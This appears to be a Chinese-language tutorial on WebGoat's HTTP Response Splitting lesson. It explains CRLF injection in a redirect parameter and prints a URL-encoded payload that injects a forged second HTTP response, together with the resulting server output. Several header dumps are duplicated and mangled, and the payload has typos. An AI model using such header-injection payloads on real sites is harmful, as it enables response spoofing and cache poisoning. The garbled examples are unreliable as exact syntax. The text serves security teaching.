webgoat介绍的第一个漏洞就是HTTP Response Splitting。这个漏洞主要是因为输入的恶意指令在重定向某个页面时产生攻击。具体来说,攻击者利用web应用程序缺乏有效地输入验证,允许攻击者将CR和LF字符插入到响应头,将服务器的回应拆分成两个不同的http消息头。这样攻击者用第二个相应来实现攻击。最常见就是选择语言。重定向代码如下:正常情况下,当用户输入其选择的语言的时候,比如english,那么会跳转到/by_lang.jsp?lang=English页面,其响应如下:
q9B017h4YoHZ62RXjApqwBE Connection:Close
- HTTP/1.1
302 Moved Temporarily - Date:Wed,24
Dec 2003 12:53:28 - Location:
http://victim.com/by_lang.jsp?lang=english - Server:
Apache Coyote/1.1 - Content-Type:
text/html - Set-Cookie:
JSESSIONID=1PMRZOIQQzZIE6iivsREG82p q9B017h4YoHZ62RXjApqwBE - Connection:Close
HTTP/1.1 302 Moved Temporarily Date:Wed,24 Dec 2003 12:53:28 Location: http://victim.com/by_lang.jsp?lang=english Server: Apache Coyote/1.1 Content-Type: text/html Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE Connection:Close
从以上可以看到的是:输入的参数(english)已经提交到HTTP头中,这样我们就可以构造特殊的字符来拆分HTTP头,并到其后追加一个自己构造的头。比如我们提交如下的参数(已经过URLEncoding):
- foobar Content-Length: 0 %oaHTTP/1.1 200 OK Content-Type: text/html %Content-Length: 19 Hacked
foobar Content-Length: 0 %oaHTTP/1.1 200 OK Content-Type: text/html %Content-Length: 19Hacked
那么服务器返回的响应如下:
- HTTP/1.1
302 Moved Temporarily - Date:Wed,24
Dec 2003 15:26:41 GMT - Location:
http://victim.com/by_lang.jsp?lang=foobar - Content-Length:0
-
- HTTP/1.1
200 OK - Content-Type:
text/html - Content-length:
19 - Hacked
- Server:
Apache Coyote/1.1 - Content-Type:
text/html - Set-Cookie:
JSESSIONID=1PMRZOIQQzZIE6iivsREG82p q9B017h4YoHZ62RXjApqwBE - Connection:Close
HTTP/1.1 302 Moved Temporarily Date:Wed,24 Dec 2003 15:26:41 GMT Location: http://victim.com/by_lang.jsp?lang=foobar Content-Length:0 HTTP/1.1 200 OK Content-Type: text/html Content-length: 19Hacked Server: Apache Coyote/1.1 Content-Type: text/html Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82p
其中第一个响应是302 重定向的响应,第二个响应是我们自己构造的响应。当客户端收到第一个响应之后会像相应头的Location指向的目标发起第二个请求,而这个时候客户端会认为第二个响应正是针对第二个请求的响应,从而达到了欺骗的目的。